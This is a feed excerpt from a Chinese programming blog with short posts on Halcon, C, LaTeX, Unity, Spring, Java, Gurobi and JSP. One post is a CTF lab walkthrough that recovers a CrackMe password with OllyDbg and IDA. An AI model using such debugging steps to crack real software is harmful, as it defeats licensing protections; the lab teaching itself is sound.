      <guid>https://bchobby.github.io/posts/e1aa50f72920e27e16ce274e9e0b7aa7/</guid>
      <description>一、特征监测的应用&#xA;gen_rectangle1：创建矩形&#xA;（Rectangle名字，Rov1和Column1为左上角开始坐标，Rov2和Column2为右下角结束坐标）&#xA;gen_rectangle2：创建任意方向的矩形（放射矩形）&#xA;（Rectangle1名字，前两个值为中心做标，后两个值分别是长轴的一半和短轴的一半。rad：可以将Phi夹角转换为度数）&#xA;gen_circle：创建一个圆&#xA;（Circle名字，第一个中心的列坐标，第二个中心行坐标，圆的半径）&#xA;gen_ellipse：创建一个椭圆&#xA;（Ellipse名字，前两个是中心坐标，Phi弧度，长轴的半径，短轴的半径）&#xA;gen_region_line：创建一条线&#xA;（前两个值为开始点的做标，后两个为结束点坐标）&#xA;union2：把两个区域合并为一个大的区域&#xA;reduce_domain：剪切对象区域（等于把一块已经规划好的区域剪切出来）&#xA;elliptic_axis：获取区域的等效椭圆参数&#xA;（Ra长轴的一半，Rb短轴的一半，Phi弧度）&#xA;area_center：获取区域的面积和中心坐标&#xA;MeanRadius := sum(Ra) / |Ra| -1：计算区域的平均长半轴半径，|Ra|代表有多少个存在。&#xA;二、判断回形针的方向（练习）&#xA;set_display_font(WindowHandle, 16 , &#39;mono&#39; , &#39;true&#39; , &#39;false&#39;)：设置窗口字体显示的样式&#xA;disp_continue_message(WindowHandle, &#39;black&#39; , &#39;true&#39;)：在右下角显示&#xA;（Press Run(F5) Continue字样）&#xA;binary_threshold：二值化阈值操作。意思：找暗的区域或者亮的区域，也可以理解为找背景色，或者前景色。（作用：对图象进行二值化。思路：0—UsedThreshold将回形针分割出来）&#xA;orientation_region：获取过滤后图像的方向。Phi弧度&#xA;dev_set_line_width(3)：设置输出对象的线宽。&#xA;disp_arrow：再窗口中显示的箭头。&#xA;disp_message：再窗口上显示回形针的度数/字符串。&#xA;（第二个填写是固定的度数deg(Phi)$&#39;3.1f&#39; + &#39;deg&#39;）&#xA;三、查找PCB上的Pads区域（练习）&#xA;dev_set_part：修改窗口里显示图像的大小。&#xA;fast_threshold：快速阈值&#xA;（里面的20为最小面积不能低于20）&#xA;shape_trans：将填充后的区域转化为凸形。&#xA;boundary：获取凸形边界&#xA;dilation_circle：对边界区域进行膨胀操作&#xA;（结构原件为3.5，会变大）&#xA;union1：将膨胀的区域合并成一个区域&#xA;（跟union2相比这个更为简练切便捷）&#xA;edges_sub_pix：便捷提取&#xA;select_shape_xld：对边界的轮廓进行过滤&#xA;（保留长度在范围[10-200]之间）&#xA;union_adjacent_contors_xld：将相邻的轮廓合并为一个轮廓&#xA;fit_rectangle2_contour_xld：将合并后的轮廓 合并为一个仿射矩形轮廓 (仿射) 创建一个矩形 获取数据。&#xA;gen_rectangle2_contour_xld：生成放射轮廓&#xA;四、根据颜色提取想要的目标对象（练习）&#xA;for i := 1 to 2 by 1</description>
    </item>
    <item>
      <title>C语言之打印菱形</title>
      <link>https://bchobby.github.io/posts/7517ac1318e371cd2b53e513994eec84/</link>
      <pubDate>Mon, 24 Jul 2023 16:29:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7517ac1318e371cd2b53e513994eec84/</guid>
      <description>目录&#xA;题外话&#xA;1.打印简单菱形&#xA;2.进阶，打印中空菱形&#xA;3.再次进阶，打印自定义中空菱形&#xA;4.优化&#xA;题外话 在这里呢，我先说一下我今天所讲的内容，首先是菱形的打印，然后是进阶到打印空菱形，再进阶到自定义打印，我呢之前是连打印菱形都不会的，经过这么些天的写代码，改代码，真的觉得自己进步了很多，所如果看到这篇博客的小伙伴，真的不要担心自己写不好代码，只要你肯下功夫就一定能成为一个好的程序员。就像我之前看过一个报道，采访的是一个没有高考直接保送北大的小伙子，主持人问他你能有今天的成就你觉得天赋和努力哪个更重要，没想到小伙子说：我觉得这二者不能分开来讲吧，有时候，努力就是一种天赋，我当时听了这话深受感触，是啊，谁又能主宰别人的命运呢，只有自己可以，所以呢，我写这些话也是对自己的鞭策吧，让我们一起努力，一起坚持把键盘敲烂！&#xA;1.打印简单菱形 这里，我就拿5行的菱形举例了，这五行菱形呢，分为上和下两部分，一个是三角形，一个是倒着的三角形没有角，这里呢我就拿正的三角形进行讲解，如果你细心一点应该不难发现，要想实现这个三角形的打印，要有&#34; &#34;和“ *”，我们可以剥离来看，我们先不看空格，那么“*”就是一个直角三角形对吧，因为空格的出现才把“*给挤走的，倒三角也是一样的原理，这里我们一定要去画图去找关系才可以的，你想是很难想出来的，一定要多动手。好了，上代码和运行截图以及我的理解：&#xA;为什么说一定要去画图，就是因为这里面的取等条件的判断，只有你画出图来，思路清晰，才知道其中含义，这里我的答案不是唯一的，大家如果感兴趣可以自己去写属于自己的代码。&#xA;2.进阶，打印中空菱形 好了，现在菱形打印出来了，是不是感觉意犹未尽，我当时也有这种感觉，但是那时候会的太少了，所以也没深挖，但是现在不一样了，我可以给你们讲啊，嘿嘿，觉得还不错的小伙伴能点点关注收藏吗，求求了。好了，回归正题，那么空格菱形怎么打印呢，只需要在合适的地方加上限制条件就OK了。好了，我先上代码加运行截图，在讲解：&#xA;这里来看，我只是再循环里面加上了if语句，起到了限制作用，因为我们要打印中空菱形吗，所以只要 把菱形的边角打印出来，剩下的打印空格不就好了，这里比较好想的是j==0；因为第一个肯定是要打印的，那最后一个怎么弄呢，还是老办法，画图，真的很重要。画图，画图，画图！！！重要的事情说三遍，我这里就不去演示了。&#xA;3.再次进阶，打印自定义中空菱形 这次呢，又在中空菱形的基础上加上自定义了，其是想明白是不难的，难在画图和理解上，这里我给大家提供我的思路，就是先去列举5行，7行，9行怎么实现“ ”和“*”的打印，这个规律性很强，要去理解j和i的关系。&#xA;4.优化 这里呢我对其做出了优化，因为打印的菱形必然为奇数行，所以我对其进行了断言，只要输入偶数，就直接报错，不知道的小伙伴不要急，用assert进行断言，我这里直接给查询链接，https://legacy.cplusplus.com/reference/clibrary/&#xA;上代码：&#xA;当我输入为偶数，直接报错。 当时我做出来有点小激动，哈哈，那今天我就分享到这里了，希望大家能点一个大大的赞 ，嘿嘿，有什么问题评论去留言或者加我好友，我看见一定回，另外如果我有什么地方出问题了，欢迎大家告知，感谢，下次再见。</description>
    </item>
    <item>
      <title>Linux 压测工具---ab安装及参数</title>
      <link>https://bchobby.github.io/posts/b1240ad57383b0630867a4a5474be560/</link>
      <pubDate>Mon, 24 Jul 2023 14:39:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1240ad57383b0630867a4a5474be560/</guid>
      <description>ab压测工具 ab是apache bench命令的缩写。&#xA;原理： ab命令会创建多个并发访问线程，模拟多个访问者同时对某一URL地址进行访问。它的测试目标是基于URL的，因此，它既可以用来测试apache的负载压力，也可以测试nginx、lighthttp、tomcat、IIS等其它Web服务器的压力。&#xA;ab命令对发出负载的计算机要求很低，它既不会占用很高CPU，也不会占用很多内存。但却会给目标服务器造成巨大的负载，其原理类似CC攻击。测试时也需要注意，一次性太大的负载。可能会造成目标服务器资源占用过高，严重时可能会导致死机。&#xA;使用ab命令但是不想安装apache，我们可以直接安装apache的工具包httpd-tools，这里已腾讯云的云服务器为例。&#xA;安装 yum -y install httpd-tools 参数 [root@VM-2-14-centos ~]# ab --help ab: wrong number of arguments Usage: ab [options] [http[s]://]hostname[:port]/path Options are: -n requests Number of requests to perform ##要执行的请求数 -c concurrency Number of multiple requests to make at a time ##单次发出的并发请求数 -t timelimit Seconds to max. to spend on benchmarking This implies -n 50000 ##用于测试的最大秒数，等价于 -n 等于50000 -s timeout Seconds to max. wait for each response Default is 30 seconds ##等待每个响应的最长秒数，默认值为30秒 -b windowsize Size of TCP send/receive buffer, in bytes ##TCP发送/接收缓存区的大小（字节） -B address Address to bind to when making outgoing connections ##建立传出连接时要绑定的地址 -p postfile File containing data to POST.</description>
    </item>
    <item>
      <title>Latex表格拓宽至文本宽度</title>
      <link>https://bchobby.github.io/posts/31c62a6dc37f4e8981447320a162b274/</link>
      <pubDate>Mon, 24 Jul 2023 11:52:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31c62a6dc37f4e8981447320a162b274/</guid>
      <description>在latex进行排版时，出现了这样一个需求。一个普通的表格，需要将两边拉长，等于论文单栏的长度（双栏排版）。&#xA;然后试了下resizebox，确实拉长了，但是表格的字体变大了。&#xA;搜了半天，发现可以用\begin{tabular*}{\hsize}{@{}@{\extracolsep{\fill}}|c|c|c|c|c|c|@{}}，确实达到了想要的效果，但是对齐有点问题。并不是标准的居然，而是前面多一块空白，然后再居中。&#xA;感觉有点头大。忽然想，是不是该调一下缩进？在上面那种情况，小白我也调不好，干脆直接普通表格调就好了。&#xA;直接在表格数据前面和后面加空格，不就把表格变长了吗。所以在表格数据前后加\hsapce，&#xA;\hspace{0.5em}表格数据\hspace{0.5em}。然后调一调距离0.5这个参数就好了。&#xA;当然有大佬会直接调那更厉害了。</description>
    </item>
    <item>
      <title>Unity TMP (TextMeshPro) 创建字体材质</title>
      <link>https://bchobby.github.io/posts/873db5660099afaf59483b980d86f9d7/</link>
      <pubDate>Mon, 24 Jul 2023 11:11:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/873db5660099afaf59483b980d86f9d7/</guid>
      <description>1 TMP 简介 完整名称：Text Mesh Pro ，unity新一代主流字体插件&#xA;1.1 组件变化 内置的Text组件以及与内置Text组件绑定的Button、DropDown、InputField均被替换为使用TextMeshPro的版本&#xA;内置的Text组件以及与内置Text组件绑定的Button、DropDown、InputField则被移动到Legacy菜单&#xA;1.2 变化说明 旧的组件只是移动到Legacy菜单，并不是真的弃用，目前还可以正常使用。&#xA;2D Legacy菜单&#xA;3D Legacy菜单&#xA;2 创建方法 2D元素 基于Canvas创建并显示，Hierachy窗口右键选择UI -&amp;gt; Text - TextMeshPro 即可创建一个2D的TMP,可以在2D空间进行旋转移动缩放。&#xA;一些基本属性和内置Text相同，TMP比内置text可选属性变多。&#xA;3D元素 3D世界空间创建并显示，Hierachy窗口右键选择3D Object -&amp;gt;Text - TextMeshPro 即可创建一个3D的TMP,可以在3D空间进行旋转移动缩放。&#xA;3D元素与2D元素区别在于渲染组件，2D是CanvasRenderer组件渲染，3D使用MeshRenderer渲染，材质使用TMP专用字体的子材质节点。&#xA;3 从字体创建TMP专用材质 字体可以直接导入TTF文件，选择TTF文件，右键 Create -&amp;gt; TextMeshPro -&amp;gt; FontAsset 即可创建TMP专用材质，拖入即可使用&#xA;创建完毕&#xA;赋值给TMP文字的FontAsset字段&#xA;4 设置TMP默认材质 TextMeshPro文件夹下TMP Setting文件，设置Resources文件夹相对路径，然后拖入对应字体，则修改创建TMP文字的默认字体。</description>
    </item>
    <item>
      <title>@Qualifier多个类实现接口时，bean的实例化</title>
      <link>https://bchobby.github.io/posts/5db0353a81278ffebd68911fe98732ab/</link>
      <pubDate>Mon, 24 Jul 2023 11:04:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5db0353a81278ffebd68911fe98732ab/</guid>
      <description>多个类实现接口时，bean实例化的方法&#xA;@Qualifier&#xA;@Qualifier是Java中的一个注解，用于区分同一类型的多个bean。它通常与@Autowired注解一起使用，用于指定要注入的特定bean。&#xA;在Spring中，当有多个同一类型的bean时，Spring无法确定要注入哪个bean。这时就需要使用@Qualifier注解来指定要注入的bean。&#xA;@Qualifier注解可以用于字段、构造函数和方法参数上。它的值可以是任何字符串，通常使用bean的名称作为值。&#xA;下面是一个使用@Qualifier注解的示例：&#xA;```&#xA;@Component(&#34;bean1&#34;)&#xA;public class MyBean1 implements MyInterface {&#xA;// ...&#xA;}&#xA;@Component(&#34;bean2&#34;)&#xA;public class MyBean2 implements MyInterface {&#xA;// ...&#xA;}&#xA;@Component&#xA;public class MyComponent {&#xA;@Autowired&#xA;@Qualifier(&#34;bean1&#34;)&#xA;private MyInterface myBean;&#xA;// ...&#xA;}&#xA;```&#xA;在这个例子中，我们有两个实现了MyInterface接口的bean：MyBean1和MyBean2。我们想要将MyBean1注入到MyComponent类中，因此我们使用@Qualifier(&#34;bean1&#34;)注解来指定要注入的bean。&#xA;需要注意的是，@Qualifier注解只有在与@Autowired注解一起使用时才有意义。如果没有@Autowired注解，@Qualifier注解将不起作用。&#xA;另外，@Qualifier注解也可以与@Primary注解一起使用。当有多个bean都被标记为@Primary时，@Qualifier注解可以用来指定要注入的特定bean。&#xA;总之，@Qualifier注解是Spring中非常有用的一个注解，它可以帮助我们解决同一类型的多个bean注入的问题。</description>
    </item>
    <item>
      <title>Spring项目中的拦截器和注册器</title>
      <link>https://bchobby.github.io/posts/ed45e8394cf24d5face97d67f8b6834d/</link>
      <pubDate>Mon, 24 Jul 2023 10:46:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed45e8394cf24d5face97d67f8b6834d/</guid>
      <description>拦截器作用与使用方法&#xA;参考：Springboot下自定义与注册拦截器 https://www.cnblogs.com/liangf27/p/10466996.html&#xA;拦截器的作用是什么？一般什么场景使用？&#xA;拦截器的作用是在请求发送到服务器或响应返回到客户端之前，对请求或响应进行拦截和处理。拦截器可以对请求进行预处理，如添加请求头、验证请求参数等；也可以对响应进行处理，如添加响应头、对响应数据进行加工等。&#xA;拦截器一般用于以下场景：&#xA;1. 权限验证：在请求到达服务器之前，对用户的身份进行验证，判断用户是否有权限访问该资源。&#xA;2. 日志记录：记录请求的详细信息，如请求的URL、请求参数、请求时间等，方便后续的调试和分析。&#xA;3. 缓存处理：在请求到达服务器之前，检查缓存中是否已经存在该请求的响应结果，如果存在则直接返回缓存结果，减少服务器的压力。&#xA;4. 统一处理：对请求进行统一处理，如添加请求头、对请求参数进行加工等，避免重复的代码。&#xA;5. 异常处理：对请求和响应进行异常处理，如捕获异常、记录异常信息等，保证系统的稳定性和可靠性。&#xA;spring中拦截器的原理是什么？怎么实现的&#xA;Spring中的拦截器是基于AOP（面向切面编程）实现的。具体来说，Spring MVC中的拦截器是通过实现HandlerInterceptor接口定义的，该接口定义了三个方法：&#xA;1. preHandle：在请求处理之前进行调用，返回值为boolean类型，如果返回false，则请求中断，不会继续向下执行。&#xA;2. postHandle：在请求处理之后进行调用，但是在视图被渲染之前，即Controller方法调用之后。&#xA;3. afterCompletion：在整个请求处理完成后进行调用，即在视图渲染完毕之后。&#xA;SpringMVC中的拦截器定义后需要通过WebMvcConfigurer进行注册，并且可以指定拦截器的拦截路径。&#xA;在请求到达DispatcherServlet之后，会根据请求的URL和HandlerMapping进行匹配，找到对应的Controller方法。在执行Controller方法之前，会先执行拦截器的preHandle方法，如果返回false，则请求中断，不会继续执行。在Controller方法执行完毕之后，会执行拦截器的postHandle方法和afterCompletion方法。&#xA;总的来说，Spring中的拦截器是通过AOP实现的，通过拦截器可以对请求进行预处理和后处理，实现了请求的统一处理和异常处理等功能。&#xA;实例如下：&#xA;/***&#xA;* 性能监控拦截器&#xA;*/&#xA;@Component&#xA;@Log4j2&#xA;public class StopWatchInterceptor extends HandlerInterceptorAdapter {&#xA;private NamedThreadLocal&amp;lt;Long&amp;gt; startTimeThreadLocal = new NamedThreadLocal&amp;lt;Long&amp;gt;(&#34;StopWatch-StartTime&#34;);&#xA;@Override&#xA;public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)&#xA;throws Exception {&#xA;long beginTime = System.currentTimeMillis();&#xA;startTimeThreadLocal.set(beginTime);&#xA;return true;&#xA;}&#xA;@Override&#xA;public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)</description>
    </item>
    <item>
      <title>CTF-REVERSE练习之逆向初探</title>
      <link>https://bchobby.github.io/posts/3272888c6e031e19b95150381eedeea1/</link>
      <pubDate>Mon, 24 Jul 2023 10:16:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3272888c6e031e19b95150381eedeea1/</guid>
      <description>逆向是指通过反汇编和调试等一些手段及工具，分析计算机程序的二进制可执行代码，从而获得程序的算法细节和实现原理的技术。不仅如此，逆向技能在信息安全面向的具体工作，如恶意代码分析、软件漏洞挖掘、移动安全以及对软件的破解方面发挥着巨大的作用。&#xA;前面介绍过CTF的web真题，那今天我们从CTF中选择一个REVERSE题型来讲解。&#xA;先介绍一下，REVERSE是CTF竞赛中的一种常见题目类型，主要考察参赛选手逆向工程相关的知识，考查形式为通过对一个二进制程序（exe、dll或者是elf等）进行逆向分析，了解程序内部的实现机制，最终目的可能是得到一个密码，或者是编写一个注册机用于计算指定用户名对应的注册码等。&#xA;那我们要怎么才能对一个程序进行逆向，一个完整的程序怎么看到它的代码呢？&#xA;当然别人也想到过这种问题，所以就出现了几种帮助逆向的工具。&#xA;1.PEiD是一款著名的查壳工具，其功能十分强大，几乎可以侦测出绝大部分的壳以及程序编译信息。PEiD支持各种外部插件，同时支持用户自定义的加壳程序签名信息。&#xA;2.Ollydbg简称OD，是一款具有图形用户界面的用户模式调试器，可以运行于各种主流Windows操作系统下。Ollydbg具有动态调试和静态分析功能，非常容易上手，对异常的跟踪处理相当灵活，并且许多爱好者为这款调试器编写了许多非常棒的插件，这些特性使得其成为Windows操作系统上用户模式下动态调试器的首选。Ollydbg的反汇编引擎十分强大，可以识别数千个被C和Windows频繁使用的函数，并可以自动对参数进行注释。底下是OD一些常用的快捷键。&#xA;F2 设置一个断点（如果断点已经存在，那么断点将被删除）&#xA;F4 运行到光标所在行（运行到光标所在行时自动断下）&#xA;F7 单步跟踪（如果遇到一个call，则跟踪进入）&#xA;F8 单步跟踪（如果遇到一个call，则执行完整个call）&#xA;F9 继续执行（运行程序，直到进程退出或遇到下一个断点）&#xA;3.IDA是一款交互式反汇编工具，其功能十分强大，支持多操作系统、多处理器下的二进制程序的反汇编分析，并且可以和使用者进行交互来提升处理效率。IDA支持插件，支持IDC脚本，Hex-&#xA;Rays&#xA;Decompiler是IDA一个十分强大的插件，支持将反汇编代码直接转换为C语言伪代码，极大的提高了反汇编分析人员的工作效率。这底下是ida的快捷键可以帮助我们更加高效的进行分析。&#xA;空格 在图形模式和列表视图模式之间切换反汇编视图&#xA;F5 将反汇编指令还原为伪代码&#xA;x 查看交叉引用&#xA;n 对变量名或者函数名进行重命名操作&#xA;d 将二进制数据解释为字节/双字/四字&#xA;c 将二进制数据解释为代码&#xA;a 将二进制数据解释为字符串&#xA;实验步骤 好我们来开始实验，先进入实验网页：[CTF-&#xA;REVERSE练习之逆向初探](https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014111410002900001&amp;amp;pk_campaign=freebuf-&#xA;wemedia)。&#xA;题目描述：&#xA;主机C:\Reverse\1目录下有一个CrackMe1.exe程序，运行这个程序的时候会提示输入一个密码，当输入正确的密码时，会弹出过关提示消息框，请对CrackMe1.exe程序进行逆向分析和调试，找到正确的过关密码。&#xA;我们开始第一步进行外部行为分析不管在什么场景下，相信你在刚接触一个新事物的时候，都会仔细观察事物的外部特征，CTF做题也是一样的，在拿到题目之后可以运行程序，观察程序都有哪些地方可以输入数据，哪些按钮点击了会有什么样的反应，在操作过程中出现了哪些提示等。&#xA;我们通过对CrackMe1.exe程序的观察，知道程序需要输入一个密码，当不输入任何数据就点击按钮时，提示如下信息：&#xA;当输入一串测试数据时，提示如下信息：&#xA;这里有弹框还有提示，我们是不是直接去查找这个提示就可以了呢。但是我们在对一个程序进行逆向分析之前，除了程序的动态行为之外，查看程序是否加壳（被何种程序加壳？是什么编译器编译的？）也是一个非常关键的步骤。之前提到了PEID，我们就用PEID来查壳我们选中程序后单击右键，在右键菜单中选择“Scan&#xA;with PEiD”选项，就可以查看加壳信息了。我们这里看到的是Microsoft Visual C++&#xA;6.0，说明CrackMe1.exe没有加壳，且它是使用VC6编译的。&#xA;我们换OD来进行动态调试，&#xA;动态调试可以帮助我们了解程序内部执行逻辑的许多详细信息，很多信息只有在程序运行起来之后才会看到，这也是静态分析所无法简单获取到的。OD是我们在Windows操作系统下动态调试器的首选。&#xA;操作选择CrackMe1.exe程序后单击右键，在右键菜单中选择“用OllyICE”打开，就会进行OD调试器的主界面，我们在反汇编指令列表窗口中单击右键，依次选择“Ultra&#xA;String Reference”、“Find ASCII”菜单项，如图所示：&#xA;之后会弹出字符串列表窗口，这个窗口列出了当前进程内存空间中存在的各种字符串，我们可以查看是否存在有我们感兴趣的字符串。比如前面曾经提示“密码错误”的提示，那么我们就可以按下Ctrl+F，在弹出的窗口中输入“密码错误”，然后单击确定按钮查找：&#xA;上面还有一个密码正确，恭喜过关，这是不是关键呢？我们试一试双击这个看看。&#xA;双击找到字符串的那一行，来到OD的反汇编窗口，就能看到代码指令中引用这个字符串的地方了。如下图所示：&#xA;在这个代码片段中，我们还看到了一个jnz跳转指令，这个指令是否跳转将决定着弹出成功的提示还是弹出失败的提示，这样的跳转也就是所谓的关键跳转。在关键跳转之上的代码往往就是关键的密码判断逻辑，因此我们可以着重分析关键跳转之上的代码。在关键跳转之上，我们在下面的的位置下一个断点（鼠标单击这行代码选中，然后按下F2）：&#xA;00401456. 55 push ebp&#xA;下好断点之后，按下F9运行程序，随便输入一个密码（比如test）后单击按钮，程序就自动在我们的断点断下了，接下来按F8开始进行单步跟踪，当跟踪到00401490的时候，我们发现了我们输入的密码test，同时发现字符串HeeTianLab，如图所示：&#xA;仔细分析上面的代码，发现是在从这两个字符串里面取出字符一个一个进行对比，只要有一个字符不一样，最终都会跳转到提示失败的地方去。那么可以猜测HeeTianLab就是正确的密码了，我们运行另一个CrackMe1进程，输入HeeTianLab，弹出成功提示：&#xA;这就通关了，接下来我用另外一个神器IDA再来做一遍，有动态的神器，肯定还有一个静态的神器。&#xA;除了动态调试之外，静态分析也是一种很重要的技能。静态分析可以帮助我们快速了解程序的代码执行逻辑，尤其是使用IDA的Hex-&#xA;Rays插件将汇编代码生成伪代码的功能，可以极大地提高我们的分析效率。&#xA;使用IDA打开CrackMe1.exe程序，IDA会提示选择文件类型、处理器类型等，通常我们不需要修改这些设置，直接单击“OK”按钮即可。之后IDA会对程序进行分析，等待一段时间，待分析结束之后，在下方的“Output</description>
    </item>
    <item>
      <title>【cs61b】学习笔记day1</title>
      <link>https://bchobby.github.io/posts/c66fb694790bfa1297218ed67d430de5/</link>
      <pubDate>Sun, 23 Jul 2023 20:54:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c66fb694790bfa1297218ed67d430de5/</guid>
      <description>1.1 java基础 Hello World java程序由一个类声明组成，使用关键字public class声明。在Java中，所有代码都位于类中。&#xA;运行的代码在一个名为main的方法中，该方法被声明为public static void main(String[] args)。&#xA;我们使用大括号{}表示一段代码的开始和结束。语句必须以分号结束&#xA;运行java程序 执行Java程序最常见的方法是通过两个.program的序列运行它。第一个是Java编译器，或javac。第二个是Java解释器(Java)。&#xA;变量和循环 所有的变量必须在使用之前声明，并且必须给它一个指定类型，而且这个类型在后面的程序中不可改变，类型在代码运行前就被验证循环定义包含在花括号内，测试的布尔表达式包含在圆括号内。我们的print语句只是System.out.print而不是System.out.println。这意味着我们不应该包括换行符(return)。print语句将一个数字添加到空格中。这样可以确保数字不会相互碰撞。在这些特性中，最重要的一个是 声明一个有指定类型的变量。 静态类型 Java最重要的特性之一是所有变量和表达式都有一个称为静态类型。&#xA;Java变量可以包含这种类型的值，而且只能包含这种类型的值。&#xA;此外，变量的类型永远不能改变。&#xA;Java编译器的关键特性之一是它执行静态类型检查。&#xA;静态类型具有以下优点:&#xA;编译器确保所有类型都是兼容的，使程序员更容易调试他们的代码。由于代码保证没有类型错误，编译程序的用户永远不会遇到类型错误。例如，Android应用程序是用Java编写的，并且通常只以.class文件的形式分发，即以编译格式分发。因此，这样的应用程序永远不会因为类型错误而崩溃，因为编译器已经检查过它们了。每个变量、参数和函数都有声明的类型，使程序员更容易理解和推理代码。&#xA;在Java中，我们可以说System.out.println (5 + &#34; &#34;);&#xA;但是在Python中，我们不能说print(5+“horse”)为什么会这样呢?&#xA;考虑这两个Java语句: String h = 5 + &#34;horse&#34;; int h = 5 + &#34;horse&#34;; 第一个会成功，第二个将给出一个编译器错误。由于Java是强类型的，如果您告诉它h是一个字符串，它可以将元素连接起来并给您一个字符串。但是当h是int型时，它不能把一个数字和一个字符串连接起来然后给你一个数字。&#xA;Python不限制类型，也不能假设你想要什么类型。x =5 +“horse”应该是一个数字吗?一个字符串?Python不知道。所以它出错了。&#xA;函数定义 在Python等语言中，函数可以在任何地方声明，甚至可以在函数外部声明。&#xA;在java中，不能在外面定义一个函数，所有的函数必须是类的一部分，类中的函数成为方法，所以在java中所有的函数都是方法。&#xA;函数的所有参数必须有声明的类型，Java中的函数只能返回一个值&#xA;好的编程风格的一些最重要的特征是:&#xA;一致的风格(空格、变量命名、大括号风格等)大小(行不要太宽，源文件不要太长)描述性命名(变量、函数、类)，例如变量或函数的名称为year或getUserName，而不是x或f。避免重复代码:除了一些更改之外，您几乎不应该有两个重要的代码块几乎相同。在适当的地方注释。Java中的行注释使用//分隔符。块(也就是多行注释)注释使用/* 和 */。&#xA;黄金法则是:编写代码时要让陌生人也能很容易理解。 break &amp;amp; continue continue语句跳过循环当前迭代的其余部分，有效地直接跳转到增量条件。break关键字在调用时完全终止最内层循环。 1.2 定义和使用类 静态 &amp;amp; 非静态方法 静态方法 Java中的所有代码都必须是类的一部分(或类似于类的东西，我们将在后面学习)。大多数代码都是在方法内部编写的。&#xA;让我们考虑一个例子:&#xA;public class Dog { public static void makeNoise() { System.</description>
    </item>
    <item>
      <title>Ubuntu安装Gurobi&#43;CMake使用详细指南</title>
      <link>https://bchobby.github.io/posts/4fb40fbd05216891a7defe29e30c309a/</link>
      <pubDate>Sun, 23 Jul 2023 20:41:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fb40fbd05216891a7defe29e30c309a/</guid>
      <description>关键词： Ubuntu, Gurobi, Cmake, CmakeLists&#xA;1 环境 Ubuntu 20.04Gurobi 10.01 2 安装Gurobi 2.1 下载Gurobi 下载地址：gurobi下载地址&#xA;这个一定要看：gurobi官方教程&#xA;截至今天（2023.6.1）最新版本是10.01，下载文件：gurobi10.0.1_linux64.tar.gz&#xA;2.2 解压 根据安装指导的说法，建议安装在/opt/目录下。所以需要把你下载下来的文件解压后复制到/opt、目录下&#xA;tar xvfz gurobi10.0.1_linux64.tar.gz sudo cp -r gurobi10.0.1_linux64/gurobi1001/ /opt/ 这时，你在/opt/gurobi1001/linux64/目录下就可以看到你解压的文件了&#xA;2.4 取得授权 使用高校邮箱和校园网IP可以获得Academic版本授权。&#xA;在这里申请授权码，如果你准备在单机上使用，建议你申请Named-User Academic类型，这样只需要每年认证一次即可。&#xA;授权后你会得到一串字符：形如 grbgetkey XXXXXX XXXXXX XXXXXX，复制这一串内容。&#xA;回到终端，输入你的授权码：&#xA;grbgetkey XXXXXX XXXXXX XXXXXX 这时会连接授权服务器，核验你的校园网IP，核验通过后，会让你选择授权文件的安装位置。一般默认安装在/home下即可。&#xA;当然你也可以把授权文件放在你的安装目录/bin下：&#xA;cd /opt/gurob1001/linux64/bin/ sudo chmod +777 grbgetkey grbgetkey XXXXXX XXXXXX XXXXXX 不管放在哪里，你都需要记住这个位置，后面会用到。&#xA;注意：&#xA;打开 gurobi.lic 文件，显示许可过期日期（ EXPIRATION=），以及支持的最大版本号（ VERSION=）。许可文件不能编辑。 许可到期后， 重新申请获得新激活码， 产生新的 gurobi.lic 许可文件替换掉旧许可文件授权码一旦激活，就和机器捆绑，无法转移、无法注销。更换机器、重装系统、更换用户账号都需要申请新授权码。授权码、授权文件、与你的电脑主板唯一对应。如果更换了电脑主板，即使是同一块硬盘，原有的授权也不能使用。需要重新申请，此时继续使用原有授权文件会报错如下： 即使连接校园网有时候也不一定可行，有的校园网IP无法被认证为教育IP。以上海交通大学校园网为例：直连SJTU时，会报错： error : ERROR 305: Ip: 58.</description>
    </item>
    <item>
      <title>JSP详解，MVC开发模式，EL表达式，JSTL，三层架构，用户信息列表展示</title>
      <link>https://bchobby.github.io/posts/a5075e4eb180210ff41b4c8f3bc016ab/</link>
      <pubDate>Sun, 23 Jul 2023 20:31:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5075e4eb180210ff41b4c8f3bc016ab/</guid>
      <description>JSP详解 jsp本质就是一个Servlet&#xA;指令 作用：用于配置JSP页面，导入资源文件格式：&#xA;&amp;lt;%@ 指令名称 属性名1=属性值1 属性名2=属性值2 … %&amp;gt;分类： page ： 配置JSP页面的 contentType：等同于response.setContentType() 设置响应体的mime类型以及字符集设置当前jsp页面的编码（只能是高级的IDE才能生效，如果使用低级工具，则需要设置pageEncoding属性设置当前页面的字符集） import：导包errorPage：当前页面发生异常后，会自动跳转到指定的错误页面isErrorPage：标识当前也是是否是错误页面。 true：是，可以使用内置对象exceptionfalse：否。默认值。不可以使用内置对象exception include ： 页面包含的。导入页面的资源文件 &amp;lt;%@include file=“top.jsp”%&amp;gt; taglib ： 导入资源 &amp;lt;%@ taglib prefix=“c” uri=“http://java.sun.com/jsp/jstl/core” %&amp;gt; prefix：前缀，自定义的 注释: html注释：&#xA;&amp;lt;!-- --&amp;gt;:只能注释html代码片段jsp注释：推荐使用&#xA;&amp;lt;%-- --%&amp;gt;：可以注释所有内置对象 在jsp页面中不需要创建，直接使用的对象一共有9个：&#xA;变量名 真实类型 作用 pageContext PageContext 当前页面共享数据，还可以获取其他八个内置对象request HttpServletRequest 一次请求访问的多个资源(转发)session HttpSession 一次会话的多个请求间application ServletContext 所有用户间共享数据response HttpServletResponse 响应对象page Object 当前页面(Servlet)的对象 thisout JspWriter 输出对象，数据输出到页面上config ServletConfig Servlet的配置对象exception Throwable 异常对象 MVC开发模式 